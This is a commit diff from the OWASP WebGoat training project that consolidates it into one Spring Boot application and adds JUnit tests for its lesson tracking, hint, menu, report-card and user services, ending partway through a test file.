Refactoring (#1201)
* Some initial refactoring * Make it one application * Got it working * Fix problem on Windows * Move WebWolf * Move first lesson * Moved all lessons * Fix pom.xml * Fix tests * Add option to initialize a lesson This way we can create content for each user inside a lesson. The initialize method will be called when a new user is created or when a lesson reset happens * Clean up pom.xml files * Remove fetching labels based on language. We only support English at the moment, all the lesson explanations are written in English which makes it very difficult to translate. If we only had labels it would make sense to support multiple languages * Fix SonarLint issues * And move it all to the main project * Fix for documentation paths * Fix pom warnings * Remove PMD as it does not work * Update release notes about refactoring Update release notes about refactoring Update release notes about refactoring * Fix lesson template * Update release notes * Keep it in the same repo in Dockerhub * Update documentation to show how the connection is obtained. Resolves: #1180 * Rename all integration tests * Remove command from Dockerfile * Simplify GitHub actions Currently, we use a separate actions for pull-requests and branch build. This is now consolidated in one action. The PR action triggers always, it now only trigger when the PR is opened and not in draft. Running all platforms on a branch build is a bit too much, it is better to only run all platforms when someone opens a PR. * Remove duplicate entry from release notes * Add explicit registry for base image * Lesson scanner not working when fat jar When running the fat jar we have to take into account we are reading from the jar file and not the filesystem. In this case you cannot use `getFile` for example. * added info in README and fixed release docker * changed base image and added ignore file Co-authored-by: Zubcevic.com <rene@zubcevic.com>
This commit is contained in:
@ -0,0 +1,10 @@
|
||||
package org.owasp.webgoat.container;
|
||||
|
||||
import org.springframework.boot.autoconfigure.SpringBootApplication;
|
||||
import org.springframework.context.annotation.PropertySource;
|
||||
|
||||
@SpringBootApplication(scanBasePackages = "org.owasp.webgoat.container")
|
||||
@PropertySource("classpath:application-webgoat.properties")
|
||||
public class WebGoatApplication {
|
||||
|
||||
}
|
@ -0,0 +1,71 @@
|
||||
/*
|
||||
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
|
||||
* please see http://www.owasp.org/
|
||||
* <p>
|
||||
* Copyright (c) 2002 - 2017 Bruce Mayhew
|
||||
* <p>
|
||||
* This program is free software; you can redistribute it and/or modify it under the terms of the
|
||||
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
|
||||
* License, or (at your option) any later version.
|
||||
* <p>
|
||||
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
|
||||
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
* General Public License for more details.
|
||||
* <p>
|
||||
* You should have received a copy of the GNU General Public License along with this program; if
|
||||
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
|
||||
* 02111-1307, USA.
|
||||
* <p>
|
||||
* Getting Source ==============
|
||||
* <p>
|
||||
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
|
||||
* projects.
|
||||
* <p>
|
||||
*/
|
||||
|
||||
package org.owasp.webgoat.container.assignments;
|
||||
|
||||
import org.mockito.Mock;
|
||||
import org.owasp.webgoat.container.i18n.Language;
|
||||
import org.owasp.webgoat.container.i18n.Messages;
|
||||
import org.owasp.webgoat.container.i18n.PluginMessages;
|
||||
import org.owasp.webgoat.container.session.UserSessionData;
|
||||
import org.owasp.webgoat.container.users.UserTracker;
|
||||
import org.owasp.webgoat.container.session.WebSession;
|
||||
import org.owasp.webgoat.container.users.UserTrackerRepository;
|
||||
import org.springframework.context.support.ClassPathXmlApplicationContext;
|
||||
import org.springframework.core.io.support.ResourcePatternResolver;
|
||||
import org.springframework.test.util.ReflectionTestUtils;
|
||||
import org.springframework.web.servlet.i18n.FixedLocaleResolver;
|
||||
|
||||
import java.util.Locale;
|
||||
|
||||
//Do not remove is the base class for all assignments tests
|
||||
public class AssignmentEndpointTest {
|
||||
|
||||
@Mock
|
||||
protected UserTracker userTracker;
|
||||
@Mock
|
||||
protected UserTrackerRepository userTrackerRepository;
|
||||
@Mock
|
||||
protected WebSession webSession;
|
||||
@Mock
|
||||
protected UserSessionData userSessionData;
|
||||
|
||||
private Language language = new Language(new FixedLocaleResolver()) {
|
||||
@Override
|
||||
public Locale getLocale() {
|
||||
return Locale.ENGLISH;
|
||||
}
|
||||
};
|
||||
protected Messages messages = new Messages(language);
|
||||
protected PluginMessages pluginMessages = new PluginMessages(messages, language, new ClassPathXmlApplicationContext());
|
||||
|
||||
public void init(AssignmentEndpoint a) {
|
||||
messages.setBasenames("classpath:/i18n/messages", "classpath:/i18n/WebGoatLabels");
|
||||
ReflectionTestUtils.setField(a, "userSessionData", userSessionData);
|
||||
ReflectionTestUtils.setField(a, "webSession", webSession);
|
||||
ReflectionTestUtils.setField(a, "messages", pluginMessages);
|
||||
}
|
||||
|
||||
}
|
@ -0,0 +1,66 @@
|
||||
package org.owasp.webgoat.container.plugins;
|
||||
|
||||
import org.flywaydb.core.Flyway;
|
||||
import org.junit.jupiter.api.BeforeEach;
|
||||
import org.owasp.webgoat.container.WebGoat;
|
||||
import org.owasp.webgoat.container.i18n.Language;
|
||||
import org.owasp.webgoat.container.i18n.PluginMessages;
|
||||
import org.owasp.webgoat.container.lessons.Initializeable;
|
||||
import org.owasp.webgoat.container.session.WebSession;
|
||||
import org.owasp.webgoat.container.users.WebGoatUser;
|
||||
import org.springframework.beans.factory.annotation.Autowired;
|
||||
import org.springframework.beans.factory.annotation.Value;
|
||||
import org.springframework.boot.test.context.SpringBootTest;
|
||||
import org.springframework.boot.test.mock.mockito.MockBean;
|
||||
import org.springframework.boot.web.server.LocalServerPort;
|
||||
import org.springframework.test.context.TestPropertySource;
|
||||
import org.springframework.test.web.servlet.MockMvc;
|
||||
import org.springframework.web.context.WebApplicationContext;
|
||||
|
||||
import javax.annotation.PostConstruct;
|
||||
import java.util.List;
|
||||
import java.util.Locale;
|
||||
import java.util.function.Function;
|
||||
|
||||
import static org.mockito.Mockito.when;
|
||||
|
||||
/**
|
||||
* @author nbaars
|
||||
* @since 5/20/17.
|
||||
*/
|
||||
@SpringBootTest(webEnvironment = SpringBootTest.WebEnvironment.RANDOM_PORT, classes = WebGoat.class)
|
||||
@TestPropertySource(locations = {"classpath:/application-webgoat.properties", "classpath:/application-webgoat-test.properties"})
|
||||
public abstract class LessonTest {
|
||||
|
||||
@LocalServerPort
|
||||
protected int localPort;
|
||||
protected MockMvc mockMvc;
|
||||
@Autowired
|
||||
protected WebApplicationContext wac;
|
||||
@Autowired
|
||||
protected PluginMessages messages;
|
||||
@Autowired
|
||||
private Function<String, Flyway> flywayLessons;
|
||||
@Autowired
|
||||
private List<Initializeable> lessonInitializers;
|
||||
@MockBean
|
||||
protected WebSession webSession;
|
||||
@MockBean
|
||||
private Language language;
|
||||
@Value("${webgoat.user.directory}")
|
||||
protected String webGoatHomeDirectory;
|
||||
|
||||
@BeforeEach
|
||||
void init() {
|
||||
var user = new WebGoatUser("unit-test", "test");
|
||||
when(webSession.getUserName()).thenReturn(user.getUsername());
|
||||
when(webSession.getUser()).thenReturn(user);
|
||||
when(language.getLocale()).thenReturn(Locale.getDefault());
|
||||
lessonInitializers.forEach(init -> init.initialize(webSession.getUser()));
|
||||
}
|
||||
|
||||
@PostConstruct
|
||||
public void createFlywayLessonTables() {
|
||||
flywayLessons.apply("PUBLIC").migrate();
|
||||
}
|
||||
}
|
@ -0,0 +1,51 @@
|
||||
package org.owasp.webgoat.container.service;
|
||||
|
||||
import com.beust.jcommander.internal.Lists;
|
||||
import org.hamcrest.CoreMatchers;
|
||||
import org.junit.jupiter.api.BeforeEach;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.junit.jupiter.api.extension.ExtendWith;
|
||||
import org.mockito.Mock;
|
||||
import org.mockito.Mockito;
|
||||
import org.mockito.junit.jupiter.MockitoExtension;
|
||||
import org.owasp.webgoat.container.lessons.Assignment;
|
||||
import org.owasp.webgoat.container.lessons.Lesson;
|
||||
import org.owasp.webgoat.container.session.WebSession;
|
||||
import org.springframework.test.web.servlet.MockMvc;
|
||||
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
|
||||
|
||||
import static org.mockito.Mockito.when;
|
||||
import static org.owasp.webgoat.container.service.HintService.URL_HINTS_MVC;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
|
||||
import static org.springframework.test.web.servlet.setup.MockMvcBuilders.standaloneSetup;
|
||||
|
||||
@ExtendWith(MockitoExtension.class)
|
||||
public class HintServiceTest {
|
||||
|
||||
private MockMvc mockMvc;
|
||||
@Mock
|
||||
private WebSession websession;
|
||||
@Mock
|
||||
private Lesson lesson;
|
||||
@Mock
|
||||
private Assignment assignment;
|
||||
|
||||
@BeforeEach
|
||||
void setup() {
|
||||
this.mockMvc = standaloneSetup(new HintService(websession)).build();
|
||||
}
|
||||
|
||||
@Test
|
||||
void hintsPerAssignment() throws Exception {
|
||||
Assignment assignment = Mockito.mock(Assignment.class);
|
||||
when(assignment.getPath()).thenReturn("/HttpBasics/attack1");
|
||||
when(assignment.getHints()).thenReturn(Lists.newArrayList("hint 1", "hint 2"));
|
||||
when(lesson.getAssignments()).thenReturn(Lists.newArrayList(assignment));
|
||||
when(websession.getCurrentLesson()).thenReturn(lesson);
|
||||
mockMvc.perform(MockMvcRequestBuilders.get(URL_HINTS_MVC))
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("$[0].hint", CoreMatchers.is("hint 1")))
|
||||
.andExpect(jsonPath("$[0].assignmentPath", CoreMatchers.is("/HttpBasics/attack1")));
|
||||
}
|
||||
}
|
@ -0,0 +1,104 @@
|
||||
/*
|
||||
* This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
|
||||
*
|
||||
* Copyright (c) 2002 - 2019 Bruce Mayhew
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify it under the terms of the
|
||||
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
|
||||
* License, or (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
|
||||
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
* General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License along with this program; if
|
||||
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
|
||||
* 02111-1307, USA.
|
||||
*
|
||||
* Getting Source ==============
|
||||
*
|
||||
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
|
||||
*/
|
||||
package org.owasp.webgoat.container.service;
|
||||
|
||||
import com.beust.jcommander.internal.Lists;
|
||||
import org.hamcrest.CoreMatchers;
|
||||
import org.junit.jupiter.api.BeforeEach;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.junit.jupiter.api.extension.ExtendWith;
|
||||
import org.mockito.Mock;
|
||||
import org.mockito.Mockito;
|
||||
import org.mockito.junit.jupiter.MockitoExtension;
|
||||
import org.owasp.webgoat.container.lessons.Category;
|
||||
import org.owasp.webgoat.container.lessons.Lesson;
|
||||
import org.owasp.webgoat.container.session.Course;
|
||||
import org.owasp.webgoat.container.session.WebSession;
|
||||
import org.owasp.webgoat.container.users.LessonTracker;
|
||||
import org.owasp.webgoat.container.users.UserTracker;
|
||||
import org.owasp.webgoat.container.users.UserTrackerRepository;
|
||||
import org.springframework.test.web.servlet.MockMvc;
|
||||
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
|
||||
|
||||
import java.util.Arrays;
|
||||
|
||||
import static org.mockito.ArgumentMatchers.any;
|
||||
import static org.mockito.Mockito.when;
|
||||
import static org.owasp.webgoat.container.service.LessonMenuService.URL_LESSONMENU_MVC;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultHandlers.print;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
|
||||
import static org.springframework.test.web.servlet.setup.MockMvcBuilders.standaloneSetup;
|
||||
|
||||
@ExtendWith(MockitoExtension.class)
|
||||
public class LessonMenuServiceTest {
|
||||
|
||||
@Mock(lenient=true)
|
||||
private LessonTracker lessonTracker;
|
||||
@Mock
|
||||
private Course course;
|
||||
@Mock
|
||||
private UserTracker userTracker;
|
||||
@Mock
|
||||
private UserTrackerRepository userTrackerRepository;
|
||||
@Mock
|
||||
private WebSession webSession;
|
||||
private MockMvc mockMvc;
|
||||
|
||||
@BeforeEach
|
||||
void setup() {
|
||||
this.mockMvc = standaloneSetup(new LessonMenuService(course, webSession, userTrackerRepository, Arrays.asList("none"), Arrays.asList("none"))).build();
|
||||
}
|
||||
|
||||
@Test
|
||||
void lessonsShouldBeOrdered() throws Exception {
|
||||
Lesson l1 = Mockito.mock(Lesson.class);
|
||||
Lesson l2 = Mockito.mock(Lesson.class);
|
||||
when(l1.getTitle()).thenReturn("ZA");
|
||||
when(l2.getTitle()).thenReturn("AA");
|
||||
when(lessonTracker.isLessonSolved()).thenReturn(false);
|
||||
when(course.getLessons(any())).thenReturn(Lists.newArrayList(l1, l2));
|
||||
when(course.getCategories()).thenReturn(Lists.newArrayList(Category.ACCESS_CONTROL));
|
||||
when(userTracker.getLessonTracker(any(Lesson.class))).thenReturn(lessonTracker);
|
||||
when(userTrackerRepository.findByUser(any())).thenReturn(userTracker);
|
||||
|
||||
mockMvc.perform(MockMvcRequestBuilders.get(URL_LESSONMENU_MVC))
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("$[0].children[0].name", CoreMatchers.is("AA")))
|
||||
.andExpect(jsonPath("$[0].children[1].name", CoreMatchers.is("ZA")));
|
||||
}
|
||||
|
||||
@Test
|
||||
void lessonCompleted() throws Exception {
|
||||
Lesson l1 = Mockito.mock(Lesson.class);
|
||||
when(l1.getTitle()).thenReturn("ZA");
|
||||
when(lessonTracker.isLessonSolved()).thenReturn(true);
|
||||
when(course.getLessons(any())).thenReturn(Lists.newArrayList(l1));
|
||||
when(course.getCategories()).thenReturn(Lists.newArrayList(Category.ACCESS_CONTROL));
|
||||
when(userTracker.getLessonTracker(any(Lesson.class))).thenReturn(lessonTracker);
|
||||
when(userTrackerRepository.findByUser(any())).thenReturn(userTracker);
|
||||
|
||||
mockMvc.perform(MockMvcRequestBuilders.get(URL_LESSONMENU_MVC))
|
||||
.andExpect(status().isOk()).andDo(print())
|
||||
.andExpect(jsonPath("$[0].children[0].complete", CoreMatchers.is(true)));
|
||||
}
|
||||
}
|
@ -0,0 +1,91 @@
|
||||
package org.owasp.webgoat.container.service;
|
||||
|
||||
import org.assertj.core.util.Maps;
|
||||
import org.junit.jupiter.api.BeforeEach;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.junit.jupiter.api.extension.ExtendWith;
|
||||
import org.mockito.Mock;
|
||||
import org.mockito.junit.jupiter.MockitoExtension;
|
||||
import org.owasp.webgoat.container.lessons.Lesson;
|
||||
import org.owasp.webgoat.container.lessons.Assignment;
|
||||
import org.owasp.webgoat.container.session.WebSession;
|
||||
import org.owasp.webgoat.container.users.LessonTracker;
|
||||
import org.owasp.webgoat.container.users.UserTracker;
|
||||
import org.owasp.webgoat.container.users.UserTrackerRepository;
|
||||
import org.springframework.http.MediaType;
|
||||
import org.springframework.test.web.servlet.MockMvc;
|
||||
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
|
||||
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
|
||||
|
||||
import java.util.List;
|
||||
|
||||
import static org.hamcrest.CoreMatchers.is;
|
||||
import static org.mockito.ArgumentMatchers.any;
|
||||
import static org.mockito.Mockito.when;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
|
||||
|
||||
/**
|
||||
* ************************************************************************************************
|
||||
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
|
||||
* please see http://www.owasp.org/
|
||||
* <p>
|
||||
* Copyright (c) 2002 - 2014 Bruce Mayhew
|
||||
* <p>
|
||||
* This program is free software; you can redistribute it and/or modify it under the terms of the
|
||||
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
|
||||
* License, or (at your option) any later version.
|
||||
* <p>
|
||||
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
|
||||
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
* General Public License for more details.
|
||||
* <p>
|
||||
* You should have received a copy of the GNU General Public License along with this program; if
|
||||
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
|
||||
* 02111-1307, USA.
|
||||
* <p>
|
||||
* Getting Source ==============
|
||||
* <p>
|
||||
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
|
||||
* projects.
|
||||
* <p>
|
||||
*
|
||||
* @author nbaars
|
||||
* @version $Id: $Id
|
||||
* @since November 25, 2016
|
||||
*/
|
||||
@ExtendWith(MockitoExtension.class)
|
||||
class LessonProgressServiceTest {
|
||||
|
||||
private MockMvc mockMvc;
|
||||
|
||||
@Mock
|
||||
private Lesson lesson;
|
||||
@Mock
|
||||
private UserTracker userTracker;
|
||||
@Mock
|
||||
private LessonTracker lessonTracker;
|
||||
@Mock
|
||||
private UserTrackerRepository userTrackerRepository;
|
||||
@Mock
|
||||
private WebSession websession;
|
||||
|
||||
@BeforeEach
|
||||
void setup() {
|
||||
Assignment assignment = new Assignment("test", "test", List.of());
|
||||
when(userTrackerRepository.findByUser(any())).thenReturn(userTracker);
|
||||
when(userTracker.getLessonTracker(any(Lesson.class))).thenReturn(lessonTracker);
|
||||
when(websession.getCurrentLesson()).thenReturn(lesson);
|
||||
when(lessonTracker.getLessonOverview()).thenReturn(Maps.newHashMap(assignment, true));
|
||||
this.mockMvc = MockMvcBuilders.standaloneSetup(new LessonProgressService(userTrackerRepository, websession)).build();
|
||||
}
|
||||
|
||||
@Test
|
||||
void jsonLessonOverview() throws Exception {
|
||||
this.mockMvc.perform(MockMvcRequestBuilders.get("/service/lessonoverview.mvc").accept(MediaType.APPLICATION_JSON_VALUE))
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("$[0].assignment.name", is("test")))
|
||||
.andExpect(jsonPath("$[0].solved", is(true)));
|
||||
}
|
||||
|
||||
}
|
@ -0,0 +1,72 @@
|
||||
package org.owasp.webgoat.container.service;
|
||||
|
||||
import org.junit.jupiter.api.BeforeEach;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.junit.jupiter.api.extension.ExtendWith;
|
||||
import org.mockito.Mock;
|
||||
import org.mockito.junit.jupiter.MockitoExtension;
|
||||
import org.owasp.webgoat.container.i18n.PluginMessages;
|
||||
import org.owasp.webgoat.container.lessons.Lesson;
|
||||
import org.owasp.webgoat.container.session.Course;
|
||||
import org.owasp.webgoat.container.session.WebSession;
|
||||
import org.owasp.webgoat.container.users.LessonTracker;
|
||||
import org.owasp.webgoat.container.users.UserTracker;
|
||||
import org.owasp.webgoat.container.users.UserTrackerRepository;
|
||||
import org.springframework.security.test.context.support.WithMockUser;
|
||||
import org.springframework.test.web.servlet.MockMvc;
|
||||
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
|
||||
|
||||
import java.util.List;
|
||||
|
||||
import static org.hamcrest.CoreMatchers.is;
|
||||
import static org.mockito.ArgumentMatchers.any;
|
||||
import static org.mockito.ArgumentMatchers.anyString;
|
||||
import static org.mockito.Mockito.when;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
|
||||
import static org.springframework.test.web.servlet.setup.MockMvcBuilders.standaloneSetup;
|
||||
|
||||
@ExtendWith(MockitoExtension.class)
|
||||
public class ReportCardServiceTest {
|
||||
|
||||
private MockMvc mockMvc;
|
||||
@Mock
|
||||
private Course course;
|
||||
@Mock
|
||||
private UserTracker userTracker;
|
||||
@Mock
|
||||
private Lesson lesson;
|
||||
@Mock
|
||||
private LessonTracker lessonTracker;
|
||||
@Mock
|
||||
private UserTrackerRepository userTrackerRepository;
|
||||
@Mock
|
||||
private WebSession websession;
|
||||
@Mock
|
||||
private PluginMessages pluginMessages;
|
||||
|
||||
@BeforeEach
|
||||
void setup() {
|
||||
this.mockMvc = standaloneSetup(new ReportCardService(websession, userTrackerRepository, course, pluginMessages)).build();
|
||||
when(pluginMessages.getMessage(anyString())).thenReturn("Test");
|
||||
}
|
||||
|
||||
@Test
|
||||
@WithMockUser(username = "guest", password = "guest")
|
||||
void withLessons() throws Exception {
|
||||
when(lesson.getTitle()).thenReturn("Test");
|
||||
when(course.getTotalOfLessons()).thenReturn(1);
|
||||
when(course.getTotalOfAssignments()).thenReturn(10);
|
||||
when(course.getLessons()).thenAnswer(x -> List.of(lesson));
|
||||
when(userTrackerRepository.findByUser(any())).thenReturn(userTracker);
|
||||
when(userTracker.getLessonTracker(any(Lesson.class))).thenReturn(lessonTracker);
|
||||
mockMvc.perform(MockMvcRequestBuilders.get("/service/reportcard.mvc"))
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("$.totalNumberOfLessons", is(1)))
|
||||
.andExpect(jsonPath("$.solvedLessons", is(0)))
|
||||
.andExpect(jsonPath("$.numberOfAssignmentsSolved", is(0)))
|
||||
.andExpect(jsonPath("$.totalNumberOfAssignments", is(10)))
|
||||
.andExpect(jsonPath("$.lessonStatistics[0].name", is("Test")))
|
||||
.andExpect(jsonPath("$.numberOfAssignmentsSolved", is(0)));
|
||||
}
|
||||
}
|
@ -0,0 +1,45 @@
|
||||
package org.owasp.webgoat.container.session;
|
||||
|
||||
import org.assertj.core.api.Assertions;
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
class LabelDebuggerTest {
|
||||
|
||||
@Test
|
||||
void testSetEnabledTrue() {
|
||||
LabelDebugger ld = new LabelDebugger();
|
||||
ld.setEnabled(true);
|
||||
Assertions.assertThat(ld.isEnabled()).isTrue();
|
||||
}
|
||||
|
||||
@Test
|
||||
void testSetEnabledFalse() {
|
||||
LabelDebugger ld = new LabelDebugger();
|
||||
ld.setEnabled(false);
|
||||
Assertions.assertThat((ld.isEnabled())).isFalse();
|
||||
}
|
||||
|
||||
@Test
|
||||
void testSetEnabledNullThrowsException() {
|
||||
LabelDebugger ld = new LabelDebugger();
|
||||
ld.setEnabled(true);
|
||||
Assertions.assertThat((ld.isEnabled())).isTrue();
|
||||
}
|
||||
|
||||
@Test
|
||||
void testEnableIsTrue() {
|
||||
LabelDebugger ld = new LabelDebugger();
|
||||
ld.enable();
|
||||
Assertions.assertThat((ld.isEnabled())).isTrue();
|
||||
}
|
||||
|
||||
@Test
|
||||
void testDisableIsFalse() {
|
||||
LabelDebugger ld = new LabelDebugger();
|
||||
ld.disable();
|
||||
Assertions.assertThat((ld.isEnabled())).isFalse();
|
||||
}
|
||||
|
||||
|
||||
|
||||
}
|
@ -0,0 +1,86 @@
|
||||
package org.owasp.webgoat.container.session;
|
||||
|
||||
import org.assertj.core.api.Assertions;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.owasp.webgoat.container.lessons.Assignment;
|
||||
import org.owasp.webgoat.container.lessons.Lesson;
|
||||
import org.owasp.webgoat.container.users.LessonTracker;
|
||||
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
|
||||
import static org.assertj.core.api.Assertions.assertThat;
|
||||
import static org.mockito.Mockito.mock;
|
||||
import static org.mockito.Mockito.when;
|
||||
|
||||
/**
|
||||
* ************************************************************************************************
|
||||
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
|
||||
* please see http://www.owasp.org/
|
||||
* <p>
|
||||
* Copyright (c) 2002 - 2014 Bruce Mayhew
|
||||
* <p>
|
||||
* This program is free software; you can redistribute it and/or modify it under the terms of the
|
||||
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
|
||||
* License, or (at your option) any later version.
|
||||
* <p>
|
||||
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
|
||||
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
* General Public License for more details.
|
||||
* <p>
|
||||
* You should have received a copy of the GNU General Public License along with this program; if
|
||||
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
|
||||
* 02111-1307, USA.
|
||||
* <p>
|
||||
* Getting Source ==============
|
||||
* <p>
|
||||
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
|
||||
* projects.
|
||||
* <p>
|
||||
*
|
||||
* @author nbaars
|
||||
* @version $Id: $Id
|
||||
* @since November 25, 2016
|
||||
*/
|
||||
class LessonTrackerTest {
|
||||
|
||||
@Test
|
||||
void allAssignmentsSolvedShouldMarkLessonAsComplete() {
|
||||
Lesson lesson = mock(Lesson.class);
|
||||
when(lesson.getAssignments()).thenReturn(List.of(new Assignment("assignment", "assignment", List.of(""))));
|
||||
LessonTracker lessonTracker = new LessonTracker(lesson);
|
||||
lessonTracker.assignmentSolved("assignment");
|
||||
|
||||
Assertions.assertThat(lessonTracker.isLessonSolved()).isTrue();
|
||||
}
|
||||
|
||||
@Test
|
||||
void noAssignmentsSolvedShouldMarkLessonAsInComplete() {
|
||||
Lesson lesson = mock(Lesson.class);
|
||||
Assignment a1 = new Assignment("a1");
|
||||
Assignment a2 = new Assignment("a2");
|
||||
List<Assignment> assignments = List.of(a1, a2);
|
||||
when(lesson.getAssignments()).thenReturn(assignments);
|
||||
LessonTracker lessonTracker = new LessonTracker(lesson);
|
||||
lessonTracker.assignmentSolved("a1");
|
||||
|
||||
Map<Assignment, Boolean> lessonOverview = lessonTracker.getLessonOverview();
|
||||
assertThat(lessonOverview.get(a1)).isTrue();
|
||||
assertThat(lessonOverview.get(a2)).isFalse();
|
||||
}
|
||||
|
||||
@Test
|
||||
void solvingSameAssignmentShouldNotAddItTwice() {
|
||||
Lesson lesson = mock(Lesson.class);
|
||||
Assignment a1 = new Assignment("a1");
|
||||
List<Assignment> assignments = List.of(a1);
|
||||
when(lesson.getAssignments()).thenReturn(assignments);
|
||||
LessonTracker lessonTracker = new LessonTracker(lesson);
|
||||
lessonTracker.assignmentSolved("a1");
|
||||
lessonTracker.assignmentSolved("a1");
|
||||
|
||||
assertThat(lessonTracker.getLessonOverview().size()).isEqualTo(1);
|
||||
}
|
||||
|
||||
|
||||
}
|
@ -0,0 +1,28 @@
|
||||
package org.owasp.webgoat.container.users;
|
||||
|
||||
import org.assertj.core.api.Assertions;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.owasp.webgoat.container.WebGoat;
|
||||
import org.springframework.beans.factory.annotation.Autowired;
|
||||
import org.springframework.boot.test.autoconfigure.orm.jpa.DataJpaTest;
|
||||
import org.springframework.test.context.ActiveProfiles;
|
||||
import org.springframework.test.context.ContextConfiguration;
|
||||
|
||||
@DataJpaTest
|
||||
@ActiveProfiles("webgoat-test")
|
||||
class UserRepositoryTest {
|
||||
|
||||
@Autowired
|
||||
private UserRepository userRepository;
|
||||
|
||||
@Test
|
||||
void userShouldBeSaved() {
|
||||
WebGoatUser user = new WebGoatUser("test", "password");
|
||||
userRepository.saveAndFlush(user);
|
||||
|
||||
user = userRepository.findByUsername("test");
|
||||
|
||||
Assertions.assertThat(user.getUsername()).isEqualTo("test");
|
||||
Assertions.assertThat(user.getPassword()).isEqualTo("password");
|
||||
}
|
||||
}
|
@ -0,0 +1,37 @@
|
||||
package org.owasp.webgoat.container.users;
|
||||
|
||||
import org.assertj.core.api.Assertions;
|
||||
import org.flywaydb.core.Flyway;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.junit.jupiter.api.extension.ExtendWith;
|
||||
import org.mockito.Mock;
|
||||
import org.mockito.junit.jupiter.MockitoExtension;
|
||||
import org.owasp.webgoat.container.lessons.Initializeable;
|
||||
import org.springframework.jdbc.core.JdbcTemplate;
|
||||
import org.springframework.security.core.userdetails.UsernameNotFoundException;
|
||||
|
||||
import java.util.List;
|
||||
import java.util.function.Function;
|
||||
|
||||
import static org.mockito.ArgumentMatchers.any;
|
||||
import static org.mockito.Mockito.when;
|
||||
|
||||
@ExtendWith(MockitoExtension.class)
|
||||
class UserServiceTest {
|
||||
|
||||
@Mock
|
||||
private UserRepository userRepository;
|
||||
@Mock
|
||||
private UserTrackerRepository userTrackerRepository;
|
||||
@Mock
|
||||
private JdbcTemplate jdbcTemplate;
|
||||
@Mock
|
||||
private Function<String, Flyway> flywayLessons;
|
||||
|
||||
@Test
|
||||
void shouldThrowExceptionWhenUserIsNotFound() {
|
||||
when(userRepository.findByUsername(any())).thenReturn(null);
|
||||
UserService userService = new UserService(userRepository, userTrackerRepository, jdbcTemplate, flywayLessons, List.of());
|
||||
Assertions.assertThatThrownBy(() -> userService.loadUserByUsername("unknown")).isInstanceOf(UsernameNotFoundException.class);
|
||||
}
|
||||
}
|
@ -0,0 +1,83 @@
|
||||
package org.owasp.webgoat.container.users;
|
||||
|
||||
import org.assertj.core.api.Assertions;
|
||||
import org.assertj.core.util.Lists;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.owasp.webgoat.container.lessons.Assignment;
|
||||
import org.owasp.webgoat.container.lessons.Category;
|
||||
import org.owasp.webgoat.container.lessons.Lesson;
|
||||
import org.springframework.beans.factory.annotation.Autowired;
|
||||
import org.springframework.boot.test.autoconfigure.orm.jpa.DataJpaTest;
|
||||
import org.springframework.test.context.ActiveProfiles;
|
||||
|
||||
import java.util.List;
|
||||
|
||||
@DataJpaTest
|
||||
@ActiveProfiles("webgoat-test")
|
||||
class UserTrackerRepositoryTest {
|
||||
|
||||
private class TestLesson extends Lesson {
|
||||
|
||||
@Override
|
||||
public Category getDefaultCategory() {
|
||||
